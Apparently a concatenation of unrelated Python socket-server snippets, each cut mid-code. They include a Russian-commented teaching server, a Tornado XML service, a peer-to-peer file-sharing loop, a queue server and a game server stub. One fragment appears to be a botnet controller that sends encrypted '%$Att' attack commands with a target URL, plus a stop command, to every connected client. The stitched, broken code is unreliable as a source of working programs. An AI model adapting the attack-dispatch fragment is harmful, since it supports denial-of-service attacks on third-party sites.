def lesson_2(): # !адрес сервера и порт SERVER_ADDRESS = ("", 56009) # !создаем сервер server = socket.socket() # !привязка сервера к адресу server.bind(SERVER_ADDRESS) # !определяем максимальное количество клиентов для одновременного пользования сервером server.listen(1) # !цикл ожидания подключения while True: # !информация полученая от клиента приоброзована к переменным a, b = server.accept() # !получение данных с полученной информации с указанием кол-ва байт информации from_user = a.recv(4096) print("Получено от пользователя:", from_user) # !обработка полученных данных if from_user.decode("utf-8") == "stop": print("Сервер остановлен") break # !проверка является ли строка от пользователя числом if from_user.decode("utf-8").isdigit(): for_user = bytes(f"{int(from_user.decode('utf-8')) * 10}", encoding="utf-8") else: for_user = bytes(f"{from_user.decode('utf-8')} не число", encoding="utf-8") # !отправка ответа клиенту a.send(for_user) # !отключение клиента от сервера (рассоеденение) a.close()
def data_server_listen(): server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('0.0.0.0', 1234)) server.listen() while True: client_socket, address = server.accept() handle_data_socket(client_socket, address)
def run_tornado(): app = Application([ tornado.web.url(r"/xml2var", Xml2VarHandler), tornado.web.url(r"/anyxml2var", AnyXml2VarHandler), tornado.web.url(r"/var2xml", Var2XmlHandler), tornado.web.url(r"/xml2var_attribute_as_key", Xml2VarAttributeAsKeyHandler), tornado.web.url(r"/1/", Handler1), tornado.web.url(r"/2/", Handler2), tornado.web.url(r"/redirect/", RedirectHandler) ]) server = HTTPServer(app) server.bind(8888) server.start(3) # 0 - forks one process per cpu IOLoop.current().start()
def main(): print("\n\n Port to connect on :5000 \n Port to send http request :7000") com_input_thread = threading.Thread( target=com_input, args=() ) #start a thread to handle input commands like peers, publish,unpublish etc com_input_thread.start() host = socket.gethostbyname(socket.gethostname()) port = port_listen global ipAddr ipAddr = host server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind((host, port)) serverthreading = threading.Thread( target=new_thread, args=(server, host, port)) #start a thread to handle new connections serverthreading.start() httpAddr = (host, port_browser) httpthread = threading.Thread( target=http_connect, args=(httpAddr, )) #start a thread to handle http requests httpthread.start() fserverThread = threading.Thread( target=f_server()) #start a thread to handle the file server fserverThread.start()
import queue import socketserver # output queue sending from 127.0.0.1:8080 queue_out = queue.Queue() queue_out_list = [] # input queue received towards 127.0.0.1:8080 queue_in = queue.Queue() # Server address to listen for laptop HOST = '' PORT = 8080 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) HOST, PORT = "localhost", 8080 server.bind((HOST, PORT)) server.listen() # Process to socket on 127.0.0.1 8080 for laptop connections def process(): global server global conn global queue_in global queue_out global queue_out_list inputs = [ server, ] outputs = []
def start_tcp_server(): # server.bind(('172.16.16.168', 50001)) #server ip server.bind(('127.0.0.1', 50001)) # test ip server.listen()
print(url) type = type.replace(" ", "") print(type) for i in range(len(self.connected)): self.connected[i].send(self.keys[i].encrypt( ("%$Att " + type + " " + url).encode())) except Exception as e: print(e) def stopattack(self): for i in range(len(self.connected)): self.connected[i].send(self.keys[i].encrypt( ("%$StopAtt").encode())) open("IP.txt", 'w') ip = "0.0.0.0" port = 80 server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('0.0.0.0', 36983)) server.listen(1) x = Server(ip, port, server) th = threading.Thread(target=x.updateAlive) th.start() while True: client, ip = server.accept() threading.Thread(target=x.onConnect, args=[client, ip]).start()
import soundeffects import gemstones import effects import monsters import fireball import dungeontiles # import level import clientserver from clientserver import data_xy # This ListenerThread creates a SocketThread per Internet Game Client. # It listens on the public game Port for new Internet Game CLients. # The created SocketThread exists only while the Internet Game Client # needs to play the game, and is closed when the player leaves. server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(("", common.server_port)) hostname = socket.gethostname() local_ip = socket.gethostbyname(hostname) class WebManagerHandler(http.server.SimpleHTTPRequestHandler): def __init__(self, *args, **kwargs): super().__init__(*args, directory="web", **kwargs) # Web management server code # TODO: # httpd.server_close() when exiting??? # Number of gems, number of monsters # Game reset